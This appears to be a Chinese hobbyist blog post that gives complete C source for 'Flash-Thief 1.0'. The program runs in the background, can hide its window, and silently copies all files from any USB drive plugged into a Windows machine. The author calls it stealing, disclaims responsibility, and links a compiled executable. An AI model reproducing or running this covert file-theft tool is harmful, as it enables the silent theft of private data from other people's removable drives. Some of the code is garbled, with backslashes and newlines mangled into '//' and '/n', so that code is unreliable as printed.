U盤大盜DIY

看某期《黑客防線》上有介紹編寫“U盤小偷”這個盜取U盤內所有文件的程序的文章,反正也沒事做,自己也寫了一個。文中是用VC++MFC寫的,我用CAPI來寫,而且名字叫“U盤大盜”,不然怎麼會叫DIY^_^

原理很簡單,就是每隔一段時間探測驅動器,發現可移動盤就把裏面的內容copy到機器上。幾下子就搞定。代碼如下,有關函數的可參考MSDNCSDN搜索(還多虧了它呢)。

#include "windows.h"

#include "stdio.h"

#include "string.h"

#include "direct.h"

char dir[260];

/*

看好啦,偷東西咯~

*/

void Copy( char* FileName )

{

       char dir2[260];

       strcpy( dir2 , dir );

      //從全路徑提取出文件名

       char* temp = strchr(FileName,'//');

       temp++;

       strcat(dir2 , temp );

       CopyFile( FileName , dir2 , 1 );

}

void CreateDir( char * path )

{

       char temp2[260];strcpy( temp2 , dir );

       char* temp = strchr( path , '//');

       temp++;

       strcat(temp2 , temp );

       mkdir( temp2 );

}

/*

這個函數就是遍歷目錄得到文件

*/

void GetFile( char* FilePath )

{

       char temp[260],temp1[260];

       strcpy( temp ,FilePath );

       WIN32_FIND_DATA FindFileData;

       HANDLE hFind;

       strcat( temp , "*");

       //printf("%s",temp);

       hFind = FindFirstFile( temp , &FindFileData );

       //printf("%s/n",FindFileData.cFileName );

       if ( hFind == INVALID_HANDLE_VALUE )

       {

              //printf ("Invalid File Handle. GetLastError reports %d/n", GetLastError ());

              //exit(0);

       }

       else

       {    

              //printf("%s",temp1);           

                     do

                     {

                            strcpy( temp1 , FilePath );

                            strcat( temp1 , FindFileData.cFileName );

                            if(strcmp( FindFileData.cFileName , "." )!=0&&strcmp( FindFileData.cFileName , ".." )!=0)

                            {

                                   if( FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )

                                   {

                                                 strcat( temp1 , "//" );

                                                 CreateDir( temp1 );

                                                 GetFile( temp1 );

                                   }

                                   else

                                   {

                                          //printf("%s/n",temp1 );

                                          Copy( temp1 );

                                   }                  

                            }

                     }while( FindNextFile( hFind,&FindFileData ) );

       }

       FindClose(hFind);

} 

/*

這個函數檢測是否爲可移動磁盤

*/

int CheckDisk(char *disk)

{

       if(GetDriveType(disk)==DRIVE_REMOVABLE)return 0;

       return -1;

}

int Steal()

{

       char buf[10];

       DWORD lod=GetLogicalDrives();

/*

GetLogicalDrives 返回的是一個32位整數,將他轉換成二進制後,最高位表示驅動器A: 依次類推

比如,10111000000000000000000000000000

表示這臺機器有驅動器 a,c,d,e

*/

       if (lod!=0)

       {

       for (int i=0;i<26;i++)

              {

                     if ((lod & 1)==1)

                     {

                            sprintf(buf,"%c",'A'+i);

                            strcat(buf,"://");

                            if(!CheckDisk(buf))

                            {

                                   //現在判斷驅動是否準備就緒~

                                   if(GetVolumeInformation(buf,0,0,0,0,0,0,0))

                                   {

                                         

                                          GetFile(buf);//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

                                          //GetFile("j://a//");

                                   }

                                         

                            }

                     }

                     lod=lod>>1;

              }

}

       return 0;

}

 

 

 

int main(int argc, char* argv[])

{

              SYSTEMTIME st;

              char dtime[20],temp[10];

              GetLocalTime( &st );

              itoa( st.wYear ,temp , 10 );

              strcpy( dtime , temp );

              itoa( st.wMonth ,temp , 10 );

              strcat( dtime , temp );

              itoa( st.wDay ,temp , 10 );

              strcat( dtime , temp );

              mkdir( dtime );

              getcwd( dir , 260 );

              strcat( dir , "//");

              strcat( dir , dtime );

              strcat( dir , "//" );

       if(argc!=2)

       {

              printf("/n Flash-Thief 1.0 by lake2 ( http://lake2.126.com )  /n");

              printf("Date: /t2005-5-28/n");

              printf("You can quit this program with Ctrl + C /nand you can run it in hide mode with /'-hide/'  /n");

              printf("It's nothing with me whatever you do ! /n");

              printf("Running......./n");

              while(1)

              {

                     Steal();

                     Sleep(30000);

              }

       }

       else

       {

              if(strcmp( argv[1] , "-hide" )==0){printf("It's nothing with me whatever you do ! /n");ShellExecute( 0, "open", argv[0], NULL, NULL, SW_HIDE );}

              else

                     printf("Parameter %s is invalid",argv[1]);

       }

       return 0;

}

程序是命令行下的,加參數“-hide”可以後臺運行;運行後會在當前目錄生成當前日期的文件夾,盜取的東東都放在裏面。程序有個小問題,就是當可移動設備是個移動硬盤的時候,呵呵,恐怕你的硬盤要很大才行哦。這個問題不想改了。

VS.net + XP SP1 編譯通過,編譯好的程序這裏可以下http://www.0x54.org/lake2/program/flash-thief.exe

         程序做好到現在我都沒有拿來用,其實我是一個好人^_^
